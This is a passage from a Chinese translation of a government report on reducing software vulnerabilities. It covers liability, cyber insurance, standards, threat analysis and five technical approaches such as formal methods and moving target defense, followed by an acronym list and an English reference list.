定义“马虎的以及容易避免的”并不是一件平凡的事。使其更加复杂的另一个因素是，责任涉及谁应该为之负责的概念。对于“开源”或者可免费获得的软件的案例，责任可能难于界定。

4.3.3 保险

随着网络的重要性持续增长，网络保险成为了一个增长的领域。针对关键基础设施保护和美国国土安全的金融服务部门协调委员会（FSSCC）编写了一部 26 页的文档，其标题为“网络保险产品购买者指南”，它定义了这种保险是什么、解释了为何组织机构需要它、描述了它可以被如何采购，以及给出其他有用信息。

4.3.4 厂商——消费者关系

如果软件拥有一份“物料清单”以使得使用它的人可以对新的威胁作出响应，在此，软件中的某些部分成为了攻击向量，那么将会有助于最终用户。用户有时被软件许可证禁止发布评估或者同其他工具的比较。乔治城大学最近发布了一项关于此问题的研究 [Klass16]。此研究受到美国国土安全部（DHS）科技理事会（S&T）网络安全分部通过安全和软件工程研究中心（S²ERC）的赞助。

4.3.5 标准

标准和指导原则的开发和采用，以及一致性评估程序被跨越多个行业应用以应对质量问题。美国志愿者业界共识标准系统允许巨大的灵活性以应对需求。在某些案例中，美国政府（联邦、各州和地方）设置行政法规标准和社区自律。例如，电气电子工程师学会（IEEE）于 2015 年发布了医疗器械软件安全的构建代码 [Haigh15] 并且发起了一项努力以便为能源和电力分配系统开发一份类似的最佳实践文档 [Landwehr15]。另一个范例是 NIST 的 用于改进关键基础设施的网络安全性的框架 [Framework14]。

4.3.6 测试和代码版本库

我们在 2.1 和 2.4 节解释了经过良好测试的代码的额外版本库的好处。软件的深度测试是困难并且耗时的，但是对于普遍使用的关键模块而言是必要的。SPSQ 研讨会的参与者指出了政府和基于社区的努力在测试关键软件中的价值。代码版本库提升了代码的重复使用并且鼓励组织机构通过提供结果可以被发表的位置来测试代码。版本库可以连同代码一起存储某些担保级别测定结果，或者甚至拥有内建的代码测定工具。版本库还可以包含具有低 bug 密度的项目的范例，诸如 Tokeneer [Barnes06]。

4.3.7 威胁分析

威胁分析，有时称为“威胁模型分析”或者“风险分析”，是一种评估风险或者威胁的方式 [Fundamental08]。通过威胁分析，软件可以被设计为避免引入某些漏洞并且降低其他漏洞的严重性。例如，一种形式的威胁分析是通过文档记录攻击面以理解对手可能如何利用接口以提升权限。威胁分析最好同时在架构和设计层级执行，如若不然，软件可能包含原本可以避免的漏洞 [Shostack14]。架构威胁分析可以显著增加软件的架构及其高级设计的安全强壮性和弹性，以显著降低漏洞的数量和严重性 [Diamant11]。

4.4 结论

对于显著减少软件漏洞的诉求发出自多个来源，包括 2016 年的美国国家网络安全行动计划。此报告识别了 5 种方法以实现此目标。每一种方法满足以下 3 个判据：1) 拥有显著改进软件质量的潜力，2) 能够在 3～7 年的时间框架内带来显著改变，以及 3) 是技术行为。被识别出来的方法应用了多种策略：

在漏洞发生之前阻止它们，包括用于指定和构建软件的改进的方法
查找漏洞，包括更好的测试技术以及对于多种测试方法的更有效的利用，以及
通过构建更具弹性的架构来降低漏洞的影响，使得漏洞不能被有意义地利用

形式化方法：形式化方法包括多种基于数学和逻辑的技术，其范围从语法分析、类型检查、正确性证明、基于模型的开发，到自动建构校正。尽管之前被认为是过于耗时的，形式化方法已经在众多幕后应用中成为主流，并且在构建更好的软件以及支持更好的测试方面展示出了巨大的前途。

系统层级安全性：系统层级安全性降低漏洞的影响。操作系统容器和微服务已经成为美国国家信息基础设施的重要组成部分。鉴于使用它们所带来的明显的可管理性、成本和性能方面的优势，有理由预计它们的应用将会继续增长。这些技术的安全增强的版本一经采用，即可对整个美国国家信息基础设施中的软件漏洞利用产生广泛的抑制效果。

附加软件分析：有众多类型的软件分析——有些是通用的，有些针对非常特定的漏洞。附加软件分析的目的是能够将多种工具用作生态系统的一部分。这将会增加特定的软件分析工具的使用，以及在工具和技术之间获得协同作用的能力。

更多成熟的领域特定软件开发框架：此方法的目标是提升经过良好测试和良好分析的代码的使用（和重复使用），并且因此减少可被利用的漏洞的发生几率。

移动目标防御（MTD）和自动软件多样性：此方法是一系列技术的集合以改变软件的细节结构和属性，以使得攻击者在利用任何漏洞时的难度大大增加。自动软件多样性和 MTD 的目的是降低攻击者利用软件中的任何漏洞的能力，而非降低软件中的弱点的数量。

关于改进安全性的一项关键需求是使得软件拥有更少并且更加难于利用的漏洞。我们所描述的测定、技术和方法将会能够做到这一点。然而，高质量软件并不会被完全独立地创建出来。必须有强壮的研究基础设施、教育和培训，以及消费者需求。高质量软件是一个必要的步骤，但是还不够。跨越整个系统的生命周期的强壮的操作和维护过程仍然是必需的。

4.5 首字母缩略词列表

ACM：美国计算机协会
AI：人工智能
API：应用程序接口
ASLR：地址空间配置随机加载
AST：抽象语法树
BLP：Bell-LaPadula
BSIMM：在成熟度模型中构建安全性
CAP：网络安全担保计划
CEGAR：由反例指导的抽象详细化
CII：核心基础设施倡议
CIL：通用中间语言
CISQ：信息科技软件质量联盟
CMU：卡内基梅隆大学
CPU：中央处理器
CWE：通用缺陷列表
DARPA：美国国防高级研究计划局
DHS：美国国土安全部
DoD：美国国防部
DSL：领域特定语言
ESAPI：企业安全性应用程序接口
FAA：美国联邦航空管理局
FSSCC：金融服务部门协调委员会
GNU：Gnu’s Not Unix
GPU：图形处理器
GUI：图形用户界面
ICT：信息及通信技术
IDE：集成开发环境
IEEE：电气电子工程师学会
iFACTS：临时未来领域控制工具支持
I/O：输入/输出
IoC：控制反转
IR：中间表示
ISO：国际标准化组织
ITS：入侵容忍系统
KDM：知识发现元模型
LoC：代码行数
ML：元语言
MTD：移动目标防御
NaN：非数
NATS：英国国家航空交通服务控股公司
NHTSA：美国国家公路交通安全管理局
NICE：美国国家网络安全教育倡议
NICTA：澳大利亚国家信息及通信技术卓越研究中心
NIST：美国国家标准技术研究所
NITRD：网络和信息科技研发
OBDD：有序二元决策图
OS：操作系统
OSTP：美国白宫科技政策办公室
OWASP：开放式网络应用程序安全项目
SAFES：软件担保发现表达纲要
SAL：源代码注释语言
SAT：布尔可满足性问题
S²ERC：安全和软件工程研究中心
SI：国际单位制
SMT：可满足性模数理论
SPSQ：软件生产力、可持续性和质量
SSCA：软件和供应链担保
S&T：科技
TCSEC：可信计算机安全性评估判据
TOIF：工具输出整合框架

第 5 章参考文献

[Anderson72] James P. Anderson, “Computer Security Technology Planning Study,” Air Force ESD-TR-73-51, Vol. II, October 1972.
[Armstrong14] Robert C. Armstrong, Ratish J. Punnoose, Matthew H. Wong and Jackson R. Mayo, “Survey of Existing Tools for Formal Verification,” Sandia National Laboratories Report SAND2014-20533, December 2014. Available: http://prod.sandia.gov/techlib/access-control.cgi/2014/1420533.pdf Accessed 12 October 2016.
[Bakker14] Paul Bakker, “Providing assurance and trust in PolarSSL,” 8 May 2014, last modified 24 July 2015. Available: https://tls.mbed.org/tech-updates/blog/providing-assurance-and-trust-in-polarssl Accessed 21 June 2016.
[Barnes06] Janet Barnes, Rod Chapman, Randy Johnson, James Widmaier, David Cooper and Bill Everett, “Engineering the Tokeneer Enclave Protection Software,” Proc. 1st IEEE International Symposium on Secure Software Engineering (ISSSE), March 2006. Available: http://www.adacore.com/uploads/technical-papers/issse2006tokeneer_altran.pdf Accessed 12 October 2016.
[Barnes13] John Barnes, “Safe and Secure Software: An Invitation to Ada 2012.” Available: http://www.adacore.com/knowledge/technical-papers/safe-and-secure-software-an-invitation-to-ada-2012 Accessed 13 October 2016.
[Barnett05] Mike Barnett, Bor-Yuh Evan Chang, Robert DeLine, Bart Jacobs and K. Rustan M. Leino, “Boogie: A Modular Reusable Verifier for Object-Oriented Programs,” in Proc. 4th international conference on Formal Methods for Components and Objects (FMCO’05), Frank S. de Boer, Marcello M. Bonsangue, Susanne Graf and Willem-Paul de Roever, Eds. Springer, 2006, pp. 364-387, https://doi.org/10.1007/11804192_17.
[Barnum12] Sean Barnum, “Software Assurance Findings Expression Schema (SAFES) Overview,” January 2012. Available: https://www.mitre.org/publications/technical-papers/software-assurance-findings-expression-schema-safes-overview Accessed 8 September 2016.
[Barritt16] Keith Barritt, “3 Lessons: FDA/FTC Enforcement Against Mobile Medical Apps,” 14 January 2016. Available: http://www.meddeviceonline.com/doc/lessons-fda-ftc-enforcement-against-mobile-medical-apps-0001 Accessed 12 October 2016.
[Beck94] Kent Beck, “Simple Smalltalk testing: with Patterns,” The Smalltalk Report, 1994.
[Beizer90] Boris Beizer, Software Testing Techniques, 2nd ed., Van Nostrand Reinhold Co., New York, NY, ISBN: 0-442-20672-0.
[Bell76] D. E. Bell and L. J. La Padula, “Secure Computer System: Unified Exposition and Multics Interpretation,” Electronics Systems Division, AFSC, Hanscom AF Base, Bedford MA, Technical Report No. ESD-TR-75-306, 1976.
[Biba77] K. J. Biba, “Integrity Considerations for Secure Computer systems,” Electronic Systems Division, AFSC, Hanscom AF Base, Bedford, MA, Technical Report ESD-TR-76-372, 1977. Available: http://www.dtic.mil/dtic/tr/fulltext/u2/a039324.pdf Accessed 12 October 2016.
[Bjørner16] Nikolaj Bjørner, “SMT Solvers: Foundations and Applications,” in Dependable Software Systems Engineering, Javier Esparza et. al., Eds. IOS Press, 2016, pp.24-32, https://doi.org/10.3233/978-1-61499-627-9-24.
[Black11a] Paul E. Black, Michael Kass, Michael Koo and Elizabeth Fong, “Source Code Security Analysis Tool Functional Specification Version 1.1,” NIST Special Publication (SP) 500-268 v1.1, February 2011, https://doi.org/10.6028/NIST.SP.500-268v1.1.
[Black11b] Paul E. Black, “Counting Bugs is Harder Than You Think,” in Proc. 11th IEEE International Working Conference on Source Code Analysis and Manipulation (SCAM 2011), Williamsburg, VA., 25-26 September 2011, pp. 1-9, https://doi.org/10.1109/SCAM.2011.24.
[Black16] Paul E. Black and Elizabeth Fong, “Report of the Workshop on Software Measures and Metrics to Reduce Security Vulnerabilities (SwMM-RSV),” NIST Special Publication (SP) 500-320, October 2016, https://doi.org/10.6028/NIST.SP.500-320.
[Boebert85] W. E. Boebert and R. Y. Kain, “A Practical Alternative to Hierarchical Integrity Policies,” in Proc. 8th National Computer Security Conference, Gaithersburg, MD, 30 September-3 October 1985, pp.18-27. Available: http://csrc.nist.gov/publications/history/nissc/1985-8th-NCSC-proceedings.pdf Accessed 30 November 2016.
[Böhme08] Rainer Böhme and Felix C. Freiling, “On Metrics and Measurements,” in Irene Eusgeld, Felix Freiling and Ralf H. Reussner, Eds., in Dependability Metrics, Lecture Notes in Computer Science, Vol. 4909, Springer, 2008, pp. 7-13. https://doi.org/10.1007/978-3-540-68947-8_2.
[Bojanova16] Irena Bojanova, Paul E. Black, Yaacov Yesha and Yan Wu, “The Bugs Framework (BF): A Structured Approach to Express Bugs,” 2016 IEEE International Conference on Software Quality, Reliability, and Security (QRS 2016), Vienna, Austria, 1-3 August 2016, https://doi.org/10.1109/QRS.2016.29.
[Boulanger15] Jean-Louis Boulanger, CENELEC 50128 and IEC 62279 Standards, John Wiley & Sons, 2015, https://doi.org/10.1002/9781119005056.
[Brooks95] Frederick P. Brooks, Jr., The Mythical Man-Month: Essays on Software Engineering, Anniversary Edition, Addison-Wesley Professional, 1995, ISBN: 978-0201835953.
[Busoli07] Simone Busoli, “Inversion of Control and Dependency Injection with Castle Windsor Container - Part I,” 24 July 2007. Available: http://dotnetslackers.com/articles/designpatterns/InversionOfControlAndDependencyInjectionWithCastleWindsorContainerPart1.aspx Accessed 29 September 2016.
[Carter13] Kyle Carter, Adam Foltzer, Joe Hendrix, Brian Huffman and Aaron Tomb, “SAW: The Software Analysis Workbench,” Proc. 2013 ACM SIGAda Annual Conference on High Integrity Language Technology (HILT ‘13), pp. 15-18, https://doi.org/10.1145/2527269.2527277.
[Chapman14] Roderick Chapman and Florian Schanda, “Are We There Yet? 20 Years of Industrial Theorem Proving with SPARK,” in Proc. Interactive Theorem Proving: 5th International Conference, ITP 2014, Held as Part of the Vienna Summer of Logic, VSL 2014, Vienna, Austria, July 14-17, 2014. Gerwin Klein and Ruben Gamboa, Eds., Lecture Notes in Computer Science, Vol. 8558, Springer, 2014, pp. 17-26, https://doi.org/10.1007/978-3-319-08970-6_2.
[Chong05] Jennifer Chong, Partha Pal, Michael Atigetchi, Paul Rubel and Franklin Webber, “Survivability Architecture of a Mission Critical System: The DPASA Example,” in Proc. 21st Annual Computer Security Applications Conference (ACSAC 2005), December 2005, pp. 495-504, https://doi.org/10.1109/CSAC.2005.54.
[Claessen02] Koen Claessen and John Hughes, “Testing Monadic Programs with QuickCheck,” SIGPLAN Notices. Vol. 37, Issue 12, 2002, pp. 47–59, https://doi.org/10.1145/636517.636527.
[Clang] “Clang: a C language family frontend for LLVM.” Available: http://clang.llvm.org/ Accessed 13 October 2016.
[CodeDx15] “Finding Software Vulnerabilities Before Hackers Do.” Available: https://codedx.com/wp-content/uploads/2015/10/AppSec101-FromCodeDx.pdf Accessed 8 September 2016.
[Corbato65] F. J. Corbató and V. A. Vyssotsky, “Introduction and Overview of the Multics System,” 1965 Fall Joint Computer Conference. Available: http://multicians.org/fjcc1.html Accessed 13 October 2016.
[Curtis16] Bill Curtis, private communication, 18 October 2016.
[DARPA16] DARPA, “Cyber Grand Challenge.” Available: https://www.cybergrandchallenge.com/ Accessed 21 October 2016.
[Diamant11] John Diamant, “Resilient Security Architecture: A Complementary Approach to Reducing Vulnerabilities,” IEEE Security & Privacy, Vol. 9, Issue 4, July/August 2011, pp. 80-84, https://doi.org/10.1109/MSP.2011.88.
[Docker16] “Docker.” Available: https://www.docker.com/ Accessed 13 October 2016.
[Doyle16] Richard Doyle, “Formal Methods, including Model-Based Verification and Correct-By-Construction,” Dramatically Reducing Security Vulnerabilities sessions, Software and Supply Chain Assurance (SSCA) Working Group Summer 2016, McLean, Virginia, July 2016. Available: https://samate.nist.gov/docs/DRSV2016/SSCA_07_JPL_FormalMethods_Doyle.pdf Accessed 27 October 2016.
[duBousquet04] L. du Bousquet, Y. Ledru, O. Maury, C. Oriat and J.-L. Lanet, “A case study in JML-based software validation,” in Proc. 19th Int. IEEE Conf. on Automated Software Engineering (ASE’04), Linz, September 2004, pp. 294-297, https://doi.org/10.1109/ASE.2004.1342750.
[ECMA13] “ECMA-335 Common Language Infrastructure (CLI),” 6th ed., June 2012. Available: http://www.ecma-international.org/publications/standards/Ecma-335.htm Accessed 20 October 2016.
[FCRDSP16] Federal Cybersecurity Research and Development Strategic Plan, February 2016. Available: https://www.whitehouse.gov/sites/whitehouse.gov/files/documents/2016_Federal_Cybersecurity_Research_and_Development_Stratgeic_Plan.pdf Accessed 13 October 2016.
[Fisher16] Kathleen Fisher, John Launchbury and Raymond Richards, “The HACMS Program: Using Formal Methods to Eliminate Exploitable Bugs,” Philosophical Transactions of the Royal Society A, in submission as of October 2016. Presentation available: https://www.usenix.org/conference/usenixsecurity15/technical-sessions/presentation/fisher or slides available: https://www.usenix.org/sites/default/files/conference/protected-files/sec15_slides_fisher.pdf Accessed 25 October 2016.
[Flater15] David Flater, “Defensive code’s impact on software performance,” NIST Technical Note 1860, January 2015, https://doi.org/10.6028/NIST.TN.1860.
[Flater16] David Flater, Paul E. Black, Elizabeth Fong, Raghu Kacker, Vadim Okun, Stephen Wood and D. Richard Kuhn, “A Rational Foundation for Software Metrology,” NIST Internal Report (IR) 8101, January 2016. https://doi.org/10.6028/NIST.IR.8101.
[Fowler14] Martin Fowler, “Microservices: a definition of this new architectural term,” 25 March 2014. Available: http://martinfowler.com/articles/microservices.html Accessed 13 October 2016.
[FramaC] “What is Frama-C.” Available: http://frama-c.com/what_is.html Accessed 13 October 2016.
[Framework14] “Framework for Improving Critical Infrastructure Cybersecurity,” Version 1.0, NIST, 12 February 2014. Available: https://www.nist.gov/document-3766 Accessed 7 November 2016.
[Franz10] Michael Franz, “E unibus pluram: Massive-Scale Software Diversity as a Defense Mechanism,” Proc. New Security Paradigms Workshop (NSPW ’10), Concord, MA, 21–23 September 2010, pp. 7-16, https://doi.org/10.1145/1900546.1900550.
[FTC16] Federal Trade Commission, “Mobile Health App Developers: FTC Best Practices,” April 2016. Available: http://www.ftc.gov/tips-advice/business-center/guidance/mobile-health-app-developers-ftc-best-practices Accessed 13 October 2016.
[Fundamental08] Fundamental Practices for Secure Software Development: A Guide to the Most Effective Secure Development Practices in Use Today, Stacy Simpson, Ed., 8 October 2008. Available: http://www.safecode.org/publication/SAFECode_Dev_Practices1108.pdf Accessed 7 November 2016.
[Gabriel96] Richard P. Gabriel, Patterns of Software: Tales from the Software Community, Oxford Press, Oxford, 1996, ISBN: 0-19-5100269-X.
[Gamma95] Erich Gamma, Richard Helm, Ralph Johnson and John Vlissides, Design Patterns: Elements of Reusable Object-Oriented Software, Addison-Wesley Professional, 1995, ISBN: 9788131700075.
[GCC16] “GCC, the GNU Compiler Collection.” Available: https://gcc.gnu.org/ Accessed 13 October 2016.
[Goguen84] Joseph A. Goguen and Jose Meseguer, “Unwinding and Inference Control,” in Proc. Symposium on Security and Privacy, IEEE, 1984, pp. 75-86, ISBN: 0818605324.
[Grigg08] Ian Grigg, “The Market for Silver Bullets,” 2 March 2008. Available: http://iang.org/papers/market_for_silver_bullets.html Accessed 28 October 2016.
[Haigh15] Tom Haigh and Carl Landwehr, “Building Code for Medical Device Software Security,” IEEE Cyber Security, 2015. Available: https://www.computer.org/cms/CYBSI/docs/BCMDSS.pdf Accessed 27 October 2016.
[Heffley04] Jon Heffley and Pascal Meunier, “Can Source Code Auditing Software Identify Common Vulnerabilities and Be Used to Evaluate Software Security?” in Proc. 37th Annual Hawaii International Conference on System Sciences (HICSS-04), 5-8 January 2004, Track 9, Volume 9, IEEE Computer Society, 2004, pp. 1-10, https://doi.org/10.1109/HICSS.2004.1265654.
[Hurd16] “GNU Hurd/hurd.” Available: https://www.gnu.org/software/hurd/hurd.html Accessed 13 October 2016.
[ISO15939] “ISO/IEC 15939:2007 Systems and software engineering — Measurement process,” 2007.
[ISO25010] “ISO/IEC 25010:2011 Systems and software engineering — Systems and software Quality Requirements and Evaluation (SQuaRE) — System and software quality models,” 2011.
[ISO25023] “ISO/IEC 25023:2016 Systems and software engineering — Systems and software Quality Requirements and Evaluation (SQuaRE) — Measurement of system and software product quality,” 2016.
[ISO25040] “ISO/IEC 25040:2011 Systems and software engineering — Systems and software Quality Requirements and Evaluation (SQuaRE) — Evaluation process,” 2011.
[ISO26262-6] “ISO 26262-6:2011 Road Vehicles — Functional safety — Part 6: Product development at the software level,” 2011.
[Iyer10] Vivek Iyer, Amit Kanitkar, Partha Dasgupta and Raghunathan Srinivasan, “Preventing Overflow Attacks by Memory Randomization,” IEEE 21st International Symposium on Software Reliability Engineering (ISSRE), November 2010. https://doi.org/10.1109/ISSRE.2010.22.
[Jézéquel97] Jean-Marc Jézéquel and Bertrand Meyer, “Design by Contract: The Lessons of Ariane,” IEEE Computer, Vol. 30, Issue 1, January 1997, pp. 129-130, https://doi.org/10.1109/2.562936.
[Kastrinis13] George Kastrinis and Yannis Smaragdakis, “Hybrid Context-Sensitivity for Points-To Analysis,” Proc. 34th ACM SIGPLAN Conference on Programming Language Design and Implementation (PLDI ‘13), 2013, pp. 423-434, https://doi.org/2499370.2462191.
[KDM15] Object Management Group, “Knowledge Discovery Metamodel (KDM).” Available: http://www.omg.org/technology/kdm Accessed 8 September 2016.
[Kiniry08] Joseph R. Kiniry and Daniel M. Zimmerman, “Secret Ninja Formal Methods,” 15th International Symposium on Formal Methods (FM ‘08), Turku, Finland. May 2008. Available: http://verifiedgaming.org/publications_assets/KiniryZimmerman-FM08-SecretNinja.pdf Accessed 13 October 2016.
[Klass16] Gregory Klass and Eric Burger, “Vendor Truth Serum,” Georgetown University. Available: https://s2erc.georgetown.edu/projects/vendortruthserum Accessed 19 September 2016.
[Klein14] Gerwin Klein, June Andronick, Kevin Elphinstone, Toby Murray, Thomas Sewell, Rafal Kolanski and Gernot Heiser, “Comprehensive Formal Verification of an OS Microkernel,” ACM Transactions on Computer Systems, Vol. 32, Issue 1, February 2014, pp. 1-70, https://doi.org/10.1145/2560537.
[Knight12] John Knight, “Helix: Self-regenerative Architecture for the Incorruptible Enterprise,” Air Force Office of Scientific Research, AFRL-OSR-VA-TR-2012-1202, 13 November 2012. Available: http://www.dtic.mil/dtic/tr/fulltext/u2/a579086.pdf Accessed 20 October 2016.
[Kuhn10] Richard Kuhn, Raghu Kacker and Yu Lei, “Practical Combinatorial Testing”, NIST Special Publication (SP) 800-142, October 2010, https://doi.org/10.6028/NIST.SP.800-142.
[Kuhn13] D. Richard Kuhn, Itzel Dominguez Mendoza, Raghu N. Kacker and Yu Lei, “Combinatorial Coverage Measurement Concepts and Applications,” in 2013 IEEE Sixth International Conference on Software Testing, Verification and Validation Workshops (ICSTW 2013), pp. 352-361, https://doi.org/10.1109/ICSTW.2013.77.
[Kuhn15] D. Richard Kuhn, Raghu N. Kacker and Yu Lei, “Measuring and specifying combinatorial coverage of test input configurations,” Innovations in Systems and Software Engineering, Vol. 12, Issue 4, December 2016, pp. 249-261, https://doi.org/10.1007/s11334-015-0266-2.
[Lampson04] Butler W. Lampson, “Software Components: Only the Giants Survive,” in Computer Systems: Theory, Technology, and Application, Karen I. B. Spaerck Jones and Andrew James Herbert, Eds., Springer, 2004, pp. 137-146, ISBN 978-0-387-20170-2. Available: http://research.microsoft.com/en-us/um/people/blampson/70-SoftwareComponents/70-SoftwareComponents.pdf Accessed 24 October 2016.
[Landwehr15] Carl Landwehr, “We Need a Building Code for Building Code,” Communications of the ACM, Vol. 58 No. 2, February 2015, pp. 24-26, https://doi.org/10.1145/2700341.
[Lemon13] Lemon, “Getting Started with LXC on an Ubuntu 13.04 VPS,” 6 August 2013. Available: https://www.digitalocean.com/community/tutorials/getting-started-with-lxc-on-an-ubuntu-13-04-vps Accessed 13 October 2016.
[Leroy06] Xavier Leroy, “Formal certification of a compiler back-end or: programming a compiler with a proof assistant,” Proc. 33rd ACM SIGPLAN-SIGACT Symposium on Principles of Programming Languages (POPL ’06), pp. 42-54, https://doi.org/10.1145/1111037.1111042.
[Lindholm15] Tim Lindholm, Frank Yellin, Gilad Bracha and Alex Buckley, “The Java® Virtual Machine Specification,” Java SE 8 Edition, February 2015. Available: http://docs.oracle.com/javase/specs/jvms/se8/jvms8.pdf Accessed 20 October 2016.
[LXC] “LXC,” Ubuntu 16.04 Server Guide. Available: https://help.ubuntu.com/lts/serverguide/lxc.html Accessed 27 September 2016.
[Marien16] John R. Marien, Chair, and Robert A. Martin, Co-chair, “Suggested Language to Incorporate Software Assurance Department of Defense Contracts,” Department of Defense (DoD) Software Assurance (SwA) Community of Practice (CoP) Contract Language Working Group, February 2016. Available: http://www.acq.osd.mil/se/docs/2016-02-26-SwA-WorkingPapers.pdf Accessed 6 September 2016.
[McConnell04] Steve McConnell, Code Complete, 2nd Ed., Microsoft Press, Redmond, WA, 2004, ISBN: 0735619670.
[McIlroy68] M. D. McIlroy, “’Mass Produced’ Software Components,” in Software Engineering, 1968 NATO Conference on Software Engineering, Garmisch, Germany, 7-11 October 1968, pp. 138-150. Available: http://homepages.cs.ncl.ac.uk/brian.randell/NATO/nato1968.pdf Accessed 13 October 2016.
[Mell11] Peter Mell and Timothy Grance, “The NIST Definition of Cloud Computing,” NIST Special Publication (SP) 800-145, September 2011, https://doi.org/10.6028/NIST.SP.800-145.
[Mills87] Harlan D. Mills, Michael Dyer and Richard C. Linger, “Cleanroom Software Engineering,” IEEE Software, Vol. 4, Issue 5, 1987, pp. 19-25. Available: http://trace.tennessee.edu/utk_harlan/18/ Accessed 13 October 2016.
[Oberg99] James Oberg, “Why the Mars probe went off course,” IEEE Spectrum, Vol. 36, Issue 12, December 1999, pp. 34-39, https://doi.org/10.1109/6.809121.
[Okhravi13] H. Okhravi, M. A. Rabe, T. J. Mayberry, W. G. Leonard, T. R. Hobson, D. Bigelow and W. W. Streilein, “Survey of Cyber Moving Targets,” Massachusetts Institute of Technology Lincoln Laboratory. Technical Report 1166, 25 September 2013. Available: https://www.ll.mit.edu/mission/cybersec/publications/publication-files/full_papers/2013_09_23_OkhraviH_TR_FP.pdf Accessed 13 October 2016.
[Okun04] Vadim Okun, Paul E. Black and Yaacov Yesha, “Comparison of Fault Classes in Specification-Based Testing,” Information and Software Technology, Elsevier, Vol. 46, Issue 8, June 2004, pp. 525-533, https://doi.org/10.1016/j.infsof.2003.10.003.
[Okun08] Vadim Okun, Romain Gaucher and Paul E. Black, Eds., “Static Analysis Tool Exposition (SATE) 2008,” NIST Special Publication (SP) 500-279, June 2009, https://doi.org/10.6028/NIST.SP.500-279.
[OMG16] Object Management Group, “Automated Source Code Maintainability Measure^TM (ASCMM^TM) V1.0,” January 2016. Available: http://www.omg.org/spec/ASCMM/1.0 Accessed 12 October 2016.
[Ourghanlian14] Alain Ourghanlian, “Evaluation of static analysis tools used to assess software important to nuclear power plant safety,” Nuclear Engineering and Technology: Special Issue on ISOFIC/ISSNP2014, Vol. 47, Issue 2, March 2015, pp. 212–218, https://doi.org/10.1016/j.net.2014.12.009.
[PaX01] “Design and Implementation of Address Space Layout randomization,” https://pax.grsecurity.net/docs/aslr.txt, cited in “Address space layout randomization,” Wikipedia. Available: https://en.wikipedia.org/wiki/Address_space_layout_randomization Accessed 15 September 2016.
[Perini16] Barti Perini, Stephen Shook and Girish Seshagiri, “Reducing Software Vulnerabilities – The Number One Goal for Every Software Development Organization, Team, and Individual,” ISHIPI Technical Report, 22 July 2016.
[Pirsig74] Robert M. Pirsig, Zen and the Art of Motorcycle Maintenance: An Inquiry into Values, William Morrow & Company, New York 1974, ISBN: 9780688002305.
[Plan16] National Initiative for Cybersecurity Education (NICE), “Strategic Plan,” April 2016. Available: http://csrc.nist.gov/nice/about/strategicplan.html Accessed 20 October 2016.
[Randimbivololona99] Famantanantsoa Randimbivololona, Jean Souyris, Patrick Baudin, Anne Pacalet, Jacques Raguideau and Dominique Schoen, “Applying Formal Proof Techniques to Avionics Software: A Pragmatic Approach,” FM ‘99 — Formal Methods: Proc. World Congress on Formal Methods in the Development of Computing Systems, Toulouse, France, September 20-24, 1999, Volume II, Jeannette M. Wing, Jim Woodcock and Jim Davies, Eds., Lecture Notes in Computer Science, Springer, Vol. 1709, 1999, pp. 1798-1815, https://doi.org/10.1007/3-540-48118-4.
[Rashid86] R. Rashid, “Threads of a New System,” Unix Review, Vol. 4, No. 8, August 1986, pp. 37-49.
[Regehr15] John Regehr, “Comments on a Formal Verification of PolarSSL,” 2015. Available: http://blog.regehr.org/archives/1261 Accessed 21 June 2016.
[Rice08] David Rice, Geekonomics: The Real Cost of Insecure Software, Addison-Wesley, 2008, ISBN: 978-0321477897.
[Rose16] “ROSE compiler infrastructure.” Available: http://rosecompiler.org/ Accessed 8 September 2016.
[Rowe12] Jeff Rowe, Karl N. Levitt, Tufan Demir, Robert Erbacher, “Artificial Diversity as Maneuvers in a Control Theoretic Moving Target Defense,” Proc. National Moving Target Research Symposium, Annapolis, MD, June 2012.
[Rushby05] John Rushby, “An Evidential Tool Bus,” in Proc. 7th international conference on Formal Methods and Software Engineering (ICFEM’05), Springer, 2005, p. 36, https://doi.org/10.1007/11576280_3.
[Saltzer75] Jerome H. Saltzer and Michael D. Shroeder, “The Protection of Information in Computer systems,” Proc. IEEE Vol. 63, Issue 9, September 1975, pp. 1278-1308, https://doi.org/10.1109/PROC.1975.9939.
[Shostack14] Adam Shostack, Threat Modeling: Designing for Security, Wiley and Sons, 2014, ISBN: 978-1-118-80999-0.
[SMTLIB15] “SMT-LIB: The Satisfiability Modulo Theories Library,” 1 June 2015. Available: http://smtlib.cs.uiowa.edu Accessed 13 October 2016.
[Software16] “Software framework.” Available: https://en.wikipedia.org/wiki/Software_framework Accessed 13 October 2016.
[Song08] Dawn Song, David Brumley, Heng Yin, Juan Caballero, Ivan Jager, Min Gyung Kang, Zhenkai Liang, James Newsome, Pongsin Poosankam and Prateek Saxena, “BitBlaze: A New Approach to Computer Security via Binary Analysis,” Proc. 4th International Conference on Information Systems Security (ICISS 2008), Hyderbad, India, 16-20 December 2008, R. Sekar and Arun K. Pujari, Eds., Lecture Notes in Computer Science, Springer, Vol. 5352, 2008, pp. 1-25, ISBN 978-3-540-89862-7.
[Souyris09] Jean Souyris, Virginie Wiels, David Delmas and Hervé Delseny, “Formal Verification of Avionics Software Products,” Proc. FM 2009: Formal Methods: Second World Congress, Eindhoven, The Netherlands, November 2-6, 2009, Ana Cavalcanti and Dennis R. Dams, Eds., Lecture Notes in Computer Science, Springer, Vol. 5850, 2009, pp. 532–546, https://doi.org/10.1007/978-3-642-05089-3_34.
[Tschannen11] Julian Tschannen, Carlo A. Furia, Martin Nordio and Bertrand Meyer, “Verifying Eiffel Programs with Boogie,” BOOGIE 2011: First International Workshop on Intermediate Verification Languages, 2011. Available: https://arxiv.org/abs/1106.4700 Accessed 13 October 2016.
[TodoMVC16] “TodoMVC: Helping you select an MV* framework.” Available: http://todomvc.com/ Accessed 13 October 2016.
[Tolerant07] “Tolerant Systems.” Available: http://www.tolerantsystems.org/ Accessed 13 October 2016.
[VCC13] VCC verifier. Available: https://vcc.codeplex.com/ Accessed 13 October 2016.
[Voas16a] Jeffrey Voas and Kim Schaffer, “Insights on Formal Methods in Cybersecurity,” IEEE Computer, Vol. 49, Issue 5, May 2016, pp. 102–105, https://doi.org/10.1109/MC.2016.131.
[Voas16b] Jeffrey Voas and Kim Schaffer, “What Happened to Formal Methods for Security?”, IEEE Computer, Vol. 49, Issue 8, August 2016, pp. 70-79, https://doi.org/10.1109/MC.2016.228.
[Wayner15] Peter Wayner, “7 reasons why frameworks are the new programming languages,” 30 March 2015. Available: http://www.infoworld.com/article/2902242/application-development/7-reasons-why-frameworks-are-the-new-programming-languages.html Accessed 13 October 2016.
[What] “What’s LXC?”, Available: https://linuxcontainers.org/lxc/introduction Accessed 13 October 2016.
